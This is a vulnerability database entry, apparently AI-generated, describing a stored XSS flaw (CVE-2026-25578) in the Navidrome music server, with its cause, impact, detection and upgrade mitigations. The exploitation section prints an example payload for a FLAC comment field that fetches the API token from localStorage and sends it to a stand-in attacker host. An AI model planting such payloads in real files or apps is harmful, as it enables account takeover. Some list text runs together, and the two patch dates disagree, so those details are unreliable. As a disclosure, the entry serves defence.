
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-25578 is a stored cross-site scripting (XSS) vulnerability in Navidrome, an open-source web-based music collection server and streamer. The flaw allows an attacker to inject malicious code through the comment metadata field of a song file, which is then rendered unsanitized in the Navidrome frontend, enabling credential exfiltration. All Navidrome versions prior to 0.60.0 are affected. The vulnerability was published on February 4, 2026, and patched in version 0.60.0 released the same day. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Red Hat CVE).
The root cause is improper neutralization of script-related HTML tags in a web page (CWE-80 / CWE-79). Navidrome's React-based frontend uses the dangerouslySetInnerHTML escape hatch in the MultiLineTextField component to render song and album comment fields, taking the content verbatim from file metadata (e.g., the VORBIS COMMENT field of a FLAC file) without sanitization. An attacker crafts a song file with a malicious payload in the comment metadata field — for example, an <img> tag with an onerror handler — and adds it to a Navidrome library. When any user views the song or album info dialog, the injected script executes in their browser session. Because Navidrome stores its API token in localStorage and no Content Security Policy (CSP) is enforced by default, the token can be exfiltrated to an attacker-controlled server (GitHub Advisory, Patch Commit).
Successful exploitation allows an attacker to steal Navidrome API tokens stored in localStorage, enabling unauthorized access to the victim's Navidrome account and any actions the user is permitted to perform. The attack requires user interaction (viewing the song/album info) but no authentication or special privileges from the attacker. Confidentiality and integrity are both impacted — credentials can be exfiltrated and unauthorized actions can be performed within the user's session — while availability is not directly affected (GitHub Advisory).
A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, demonstrating how to embed a malicious payload in a FLAC file's VORBIS COMMENT field using tools like MusicBrainz Picard or metaflac. There is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.017% (very low), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires the attacker's crafted song to be added to the target Navidrome library, limiting the attack surface to instances that index music from untrusted sources (GitHub Advisory, Red Hat CVE).
metaflac, modify the VORBIS COMMENT comment field of a FLAC (or compatible) audio file to contain an XSS payload, e.g., <img src=x onerror="fetch('https://attacker.example/steal?t='+localStorage.getItem('token'))"> .MultiLineTextField component renders the comment field via dangerouslySetInnerHTML without sanitization, causing the injected script to execute in the victim's browser session.localStorage and sends it to the attacker's server via an HTTP request, granting the attacker authenticated access to the victim's Navidrome account (GitHub Advisory)..flac) with unusual or script-like content in the COMMENT metadata field, detectable via metaflac --list file.flac or similar metadata inspection tools.Upgrade Navidrome to version 0.60.0 or later, which replaces unsafe dangerouslySetInnerHTML usage with React's built-in sanitization and integrates DOMPurify for cases where HTML rendering is required (Navidrome v0.60.0 Release, Patch Commit). As interim mitigations: configure a strict Content Security Policy (CSP) via a reverse proxy to restrict script execution and exfiltration; avoid indexing music from untrusted sources; and vet song metadata before adding files to the library. If credential compromise is suspected, reset user passwords and revoke/rotate API tokens, then review access logs for unauthorized activity (GitHub Advisory).
The vulnerability was reported by security researcher AlexGustafsson, who also contributed the patch. The fix was merged and released promptly in Navidrome v0.60.0 on February 3, 2026. A NixOS/nixpkgs issue was opened to track the update for that distribution (NixOS Issue). The vulnerability was also noted in govulncheck/vulndb security updates covered by Linux-focused outlets (GitHub Advisory).
Fix availability across major Linux distributions and their releases.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."